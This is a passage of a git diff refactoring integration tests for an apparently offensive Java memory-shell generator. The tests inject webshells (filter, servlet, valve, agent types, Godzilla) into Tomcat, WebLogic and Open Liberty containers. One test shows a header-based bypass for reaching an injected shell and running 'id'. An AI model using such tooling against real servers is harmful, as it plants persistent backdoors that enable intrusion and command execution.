shellTool, packer); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer); + ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null); + CommandConfig commandConfig = (CommandConfig) generateResult.getShellToolConfig(); + // direct connect ws will cause failed + assertThrows(IllegalStateException.class, () -> BlockingJavaWebSocketClient.sendRequestWaitResponse(shellUrl, "id"), "WebSocket connection is not open."); + // connect by valve bypass will success + String response = BlockingJavaWebSocketClient.sendRequestWaitResponseWithHeader(shellUrl, "id", commandConfig.getHeaderName(), commandConfig.getHeaderValue()); + assertTrue(response.contains("uid=")); + } + + @Test + public void testGodzillaWs() { + String url = getUrl(); + String server = ServerType.TOMCAT; + String serverVersion = "Unknown"; + int targetJdkVersion = Opcodes.V1_8; + String shellType = ShellType.BYPASS_NGINX_WEBSOCKET; + String shellTool = ShellTool.Godzilla; + Packers packer = Packers.Base64; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer); + ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null); + GodzillaConfig godzillaConfig = (GodzillaConfig) generateResult.getShellToolConfig(); + // direct connect ws will cause failed + assertThrows(IllegalStateException.class, () -> { + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(shellUrl).pass(godzillaConfig.getPass()) + .key(godzillaConfig.getKey()).build()) { + godzillaManager.start(); + } + }, "WebSocket connection is not open."); + // connect by valve bypass will success + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(shellUrl).pass(godzillaConfig.getPass()) + .key(godzillaConfig.getKey()).header(godzillaConfig.getHeaderName() + , godzillaConfig.getHeaderValue()).build()) { + assertTrue(godzillaManager.start()); + assertTrue(godzillaManager.test()); + } catch (IOException e) { + e.printStackTrace(); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java index 4b08bd85..b8a89521 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java @@ -1,90 +1,56 @@ package com.reajason.javaweb.integration.memshell.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat9ContainerTest { - public static final String imageName = "tomcat:9-jre9"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Tomcat9ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.tomcat("tomcat:9-jre9") + .targetJdkVersion(Opcodes.V9) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.WEBSOCKET, + ShellType.UPGRADE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP, Packers.ScriptEngine, Packers.AgentJarWithJREAttacher)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.WEBSOCKET + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(tomcatPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.SERVLET, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.PROXY_VALVE, - ShellType.WEBSOCKET, - ShellType.UPGRADE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP, Packers.ScriptEngine, Packers.AgentJarWithJREAttacher); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER, - ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V9); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java index 87fd1f9d..eb2932f2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java @@ -1,91 +1,51 @@ package com.reajason.javaweb.integration.memshell.weblogic; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; /** * @author ReaJason * @since 2024/12/24 */ @Testcontainers -@Slf4j -public class WebLogic1036ContainerTest { - public static final String imageName = "reajason/weblogic:10.3.6"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class WebLogic1036ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic( + "reajason/weblogic:10.3.6", + "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .assertLogs(false) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT + )) + .testPackers(List.of(Packers.Base64)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(weblogicPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(7001); - - static Stream casesProvider() { - String server = Server.WebLogic; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT - ); - List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + public static final GenericContainer python = buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(7001); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java index ebb007fc..e6a74d92 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java @@ -1,94 +1,50 @@ package com.reajason.javaweb.integration.memshell.weblogic; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/24 */ @Testcontainers -@Slf4j -public class WebLogic12214ContainerTest { - public static final String imageName = "reajason/weblogic:12.2.1.4"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class WebLogic12214ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic( + "reajason/weblogic:12.2.1.4", + "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT + )) + .testPackers(List.of(Packers.Base64)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(weblogicPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(7001); - - static Stream casesProvider() { - String server = Server.WebLogic; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT - ); - List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + public static final GenericContainer python = buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(7001); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java index e3e04b0f..3e101e1c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java @@ -1,94 +1,50 @@ package com.reajason.javaweb.integration.memshell.weblogic; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/24 */ @Testcontainers -@Slf4j -public class WebLogic14110ContainerTest { - public static final String imageName = "reajason/weblogic:14.1.1.0"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class WebLogic14110ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic( + "reajason/weblogic:14.1.1.0", + "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT + )) + .testPackers(List.of(Packers.Base64)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(weblogicPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(7001); - - static Stream casesProvider() { - String server = Server.WebLogic; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT - ); - List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + public static final GenericContainer python = buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(7001); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14120ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14120ContainerTest.java new file mode 100644 index 00000000..a899a404 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14120ContainerTest.java @@ -0,0 +1,50 @@ +package com.reajason.javaweb.integration.memshell.weblogic; + +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +@Testcontainers +public class WebLogic14120ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic( + "reajason/weblogic:14.1.2.0-jdk17", + "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT + )) + .testPackers(List.of(Packers.Base64)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java index 007271a3..181624ae 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java @@ -1,97 +1,53 @@ package com.reajason.javaweb.integration.memshell.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; -import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.time.Duration; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class OpenLiberty18ContainerTest { - public static final String imageName = "open-liberty:18.0.0.4-webProfile8"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class OpenLiberty18ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webSphere( + "open-liberty:18.0.0.4-webProfile8", + "/config/dropins/app.war") + .targetJdkVersion(Opcodes.V1_6) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/config/dropins/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(webspherePid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - static Stream casesProvider() { - String server = Server.WebSphere; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.WAS_AGENT_FILTER_MANAGER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + public static final GenericContainer python = buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(9080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java index 6fde0402..08e70d19 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java @@ -1,97 +1,53 @@ package com.reajason.javaweb.integration.memshell.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; -import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.time.Duration; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class OpenLiberty20ContainerTest { - public static final String imageName = "open-liberty:20.0.0.12-full-java8-openj9"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class OpenLiberty20ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webSphere( + "open-liberty:20.0.0.12-full-java8-openj9", + "/config/dropins/app.war") + .targetJdkVersion(Opcodes.V1_6) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/config/dropins/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(webspherePid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - static Stream casesProvider() { - String server = Server.WebSphere; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.WAS_AGENT_FILTER_MANAGER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + public static final GenericContainer python = 